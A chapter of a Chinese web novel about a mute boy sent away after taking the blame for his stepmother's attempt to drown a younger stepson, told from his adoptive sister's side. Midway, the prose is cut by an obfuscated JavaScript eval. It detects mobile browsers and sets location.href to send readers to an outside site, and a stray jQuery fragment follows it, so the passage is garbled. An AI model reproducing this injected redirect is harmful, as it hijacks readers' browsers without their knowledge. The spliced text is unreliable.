26. 一个秘密

作品:《聋哑哥哥和疯批的我

    “对不起,摔烂了。”季宁皱眉。磨蹭半天,才把藏在背后的东西拿出来。


    他脸上的巴掌印没消,被温霏指甲划破的嘴角还在渗血。


    “没关系,我会黏好的。”易伍轻轻接过已经摔得破破烂烂的礼盒,小心翼翼取出里面的白色纱裙。


    直到这刻,她才明白季宁一直攒钱是为了什么。


    在易伍还留着长发,相信王子公主童话故事的年纪,见到这条裙子的第一眼就快走不动道。


    那是最时髦童装品牌的经典款,高悬在橱窗里,被射灯一打就成了所有女孩的梦想——穿上它,成为公主,收获爱。


    可她从来没跟谷佳慧提过。


    易伍经历的是一段童年真空期。


    调皮任性、无理取闹的孩童阶段被直接按下快进键。一直被夸奖懂事不乱要东西的孩子更懂得自我约束。


    “真好看。”她心情复杂地抚了上去。


    珍珠镶嵌,裙摆缀满银色的月亮星星,漂亮得无以复加。


    这是她曾经渴望,现在却疯狂抗拒的东西。


    剪掉长发,穿上裤装,丢掉裙子,和男生打架,她拼命逃离一切和“女孩”有关的符号。


    可现在,当心心念念的裙子摆在眼前,她才猛然发现,这只是条裙子而已。


    它很漂亮,没有那么可怕。她还是很喜欢它,不用羞于承认。


    长大后的她逐渐懂得,反抗命运的第一步,不是自我否定,而是全盘接纳。


    接纳自我,肯定自我,热爱自我。


    做女孩,不代表软弱,更不代表着必须被王子拯救。她自己就很勇敢,穿着裙子跳进游泳池救了易冬至。


    突然,她厌倦扮演男孩了。


    “哥,谢谢你。”易伍嗫嚅,“你......你怎么去买的?别人会卖给小孩么?”


    “小卖部爷爷,带我去的。”季宁腼腆地笑了,露出洁白整齐的牙齿:“生日快乐。”


    可下一秒,豆大的泪珠从易伍的眼眶滑落。


    她用力环住季宁的腰,小小的身体抽搐着:“我不要你走。”


    *


    易伍第一次展现出顽固与任性。


    一哭二闹三上吊,她像跟屁虫一样每天黏着易国昌,反反复复只叨叨一句话:“哥哥不是故意的,求你不要赶他走。”


    她的眼泪像断线的雨,从清晨哭到黄昏,哭到嗓子沙哑,眼睛肿成核桃。


    这副死缠烂打的模样让易国昌厌烦到极点。


    他脸色铁青,忍不住爆吼:“你怎么知道他不是故意的?”


    无意间发现的秘密让易国昌胆战心惊。


    这几天,他很偶然地翻看电脑的浏览器记录——


    搜索栏里,赫然躺着几条关键词:“游泳池机房”、“泳池注水阀门”、“水位调节”。


    *


    这个家里的每个人他都怀疑过。


    易伍为了救弟弟差点淹死,不会是她;谷佳慧从头到尾都在会场,没有作案时间;季宁跳出来说自己不小心乱按了放水键,他当时也信了。


    直到发现这条搜索记录,冷汗直落。


    他找机会偷偷进了季宁的房间,一顿翻箱倒柜,果然被他找到——整整一抽屉的话梅糖!


    季宁什么时候会的电脑?答案呼之欲出——易伍都会了,两人形影不离,教会季宁是什么难事?


    当时绑架事件他就心有余悸,觉得季宁完全不像展现出来的那样单纯,后来和钢琴老师偷情也是被他当场抓包,可这些都不及这个新发现让他五雷轰顶。


    季宁当然有充足的动机——易冬至的到来会威胁到他的地位。可外表如此温和善良的孩子,怎么会藏着这么深的心机......他不敢再多想,直接一个电话打给滇市的寺庙。


    一天都不想等了,他想立即退货。


    “我应该报警的,但是我没有。仁至义尽你懂什么意思吗?”易国昌瞪着眼警告,“别逼我。”


    *


    季宁来的时候阳光普照,走的时候绵绵阴雨。


    这三年发生了很多事,唯一不变的,只有他身上的那件海青。


    易国昌早早出门,没有看季宁一眼。


    谷佳慧倒是一反常态,给他准备了一大箱行李,吃的用的玩的塞得鼓鼓囊囊。


    司机在门外候着,谷佳慧支走保姆,又让易伍去练琴。


    然后,她把季宁叫进自己房间,紧紧关上了门。


    “现在只有我们两个......季宁,告诉我实话。那天是你放的水吗?”谷佳慧忐忑开口。


    季宁想了想,最后摇了摇头。


    “那你......你当时为什么会那么说?!”


    季宁没有回答,而是从随身行李里掏出《玛蒂尔达》,翻到最后一页,摊开给谷佳慧看。


    上面歪歪扭扭的,是易伍小时候稚嫩的字,还混杂着拼音和图。


    “1.想要双安商场五楼特别漂亮的白色公主裙(旁边画着一条白色纱裙);


    2.想要妈妈开心,不生气,对我笑,叫我宝宝。我爱妈妈。(旁边画着一辆大篷车)”


    最底下还有一行歪歪扭扭的小字:“只能许一个的话,那就第二个。”


    谷佳慧愣住了:“这......这是什么意思?”


    “妈妈,放过,易冬至吧。”季宁地说,“您想害他,最后却差点,害了妹妹。这就是,因果。”


    “你......你在胡说些什么?”谷佳慧的冷汗湿透了后背。


    季宁轻声回答:“给妹妹的,生日礼物,我藏在机房。去拿的时候,看到妈妈,从里面出来。穿着清洁工,的衣服。”


    谷佳慧感觉天旋地转,几乎站不稳:“你!!”


    缓了好一会儿,她扶住椅背,咬牙切齿地问,“既然都看到了,为什么撒谎?说,你到底想要什么?!”


    季宁修长的手指重新回到《玛蒂尔达》。他轻轻点在最后一行。


    答案早就写在了上面。


    “妹妹说,她爱妈妈。”


    他顿了顿,目光宁静柔和,“我要,妹妹,快乐。”


    谷佳慧难以置信地瞪大双眼。


    过了很久,她捂住了脸,垂下头:“怕我被抓,所以替我顶罪?这是你一厢情愿!我不会谢你的。”


    “不用。”季宁摇了摇头,抽了纸巾递给泣不成声的谷佳慧,“妹妹还说,想有辆,大篷车,带您走,离开这里......妈妈,不要用,别人的错误,惩罚,自己。”


    谷佳慧的唇剧烈抖动着。


    季宁继续轻轻说道:“师父说过,善恶都在,一念之间......妈妈为什么,不等易冬至,来家里,再动手?那样不是,更容易吗?”


    谷佳慧冷笑着自嘲:“是啊,为什么?”


    “因为你害怕。”季宁一字一顿,“和他在一起,时间久了,会心软。”


    他的目光瞟过鼓鼓囊囊的行李,“就像,对我一样。”


    谷佳慧彻底愣住。


    过了很久,她突然放声大笑,笑声突兀刺耳:“真是没想到,你一小破孩,居然比我还了解我自己。”


    但很快,她的笑声转为凄厉的怒吼:“真正的坏人没有受到惩罚,像


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939008|176061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我这样的,反而要被良心折磨。你师父说因果,这算什么因果?!我不恨易冬至,但我是佑弟的妈妈。我绝对不允许他抢走佑弟的一切!”


    “可是......您问过妹妹,她想要什么吗?”


    “她想要什么?”谷佳慧几乎发狂,“她才这么小,怎么知道自己想要什么?成人世界的残酷,你们哪里会懂?金钱、权力、地位,这是成年人的游戏币。没有这些,寸步难行!”


    门这时被砰的一声推开。


    易伍已经哭成了泪人:“我不想!我不要这些!”


    季宁倒吸一口凉气。


    谷佳慧神色慌乱:“你......你一直在偷听?听到了多少?”


    “全部。”易伍哭到停不下来。她第一次觉得,自己的耳朵不应该这么好,“我不要哥哥走,不是他做的,我不要他走!”


    说着,她拼命将季宁往外推,“哥你出去,你先出去!”


    季宁听话地转身,轻轻带上了门。


    “不是哥哥。”易伍抽泣着质问谷佳慧,“为什么,为什么会是这样?”


    谷佳慧心如死灰,声如寒冰:“所以呢?你,想留下他?为了这个,你打算去......告发我吗?.......那你来吧,打电话,报警!让警察把我抓起来,杀人的,是我!”


    她拿起桌上的电话,步步紧逼,直到将易伍逼入墙角。


    “自从有了易冬至,你爸早就想把季宁送走了。他从来没把季宁当儿子看过,你明白吗?你改变不了任何事!”


    易伍沿着墙角蹲下,全身抖得如同筛糠。


    谷佳慧上前,轻轻揽住了她的头。


    那些尘封的往事,被一一揭开。


    她的童年、她的父母、她的婚姻.....她流掉的四个女儿,还有,被医生错认为男孩而侥幸活下来的易伍。


    最深、最隐秘、剜心刺骨的痛,被血与泪包裹着了十年,终于重见天日。


    易伍在震惊、迷茫、痛苦中切换,信息量太大,已经超过她所能承受的极限。


    故事讲完,谷佳慧自嘲:“我在想,为什么我会走到今天呢?明明我心肠软,最后却成了杀人犯——这一切的一切,只是因为一个人。”


    她的眼里全是血丝:“这个人,偷走我的青春、我的精力、我的睡眠。他蚕食我的意志,瓦解我的一切。他以我为食,趴在我身上吸血,却在羽翼丰满后弃我而去。他是我的寄生物,我是他的宿主,但我甘之如饴。


    为什么?


    因为——我是,母亲。”


    *


    这场近乎癫狂的对话结束,易伍恍恍惚惚走出房门。


    季宁一直守在门外。


    “对不起。”易伍垂下头,不敢直视他的眼睛。


    “不说这个,好不好?”季宁早就替她做好了选择,“我们还会,再见的。一定。”


    他微笑着,把那本《玛蒂尔达》塞回到易伍手里,“下次见面,再给我。”


    *


    季宁走后,易伍翻开《玛蒂尔达》的最后一页。


    她提起笔,把边边角角全部写满。


    “我要哥哥,我要哥哥,我要哥哥”。


    曾经许下的两个愿望都实现了。那这一个,一定也可以吧?


    直到泪水将书页全部浸湿,再没人笨拙地用手背给她擦眼泪了,不会有了。


    她又成了一个人。


    *


    这天,保姆来房间里收拾东西,无意间把《玛蒂尔达》碰倒在地。


    等易伍再次捡起,那片夹在书中的心形叶,突然,掉了下来。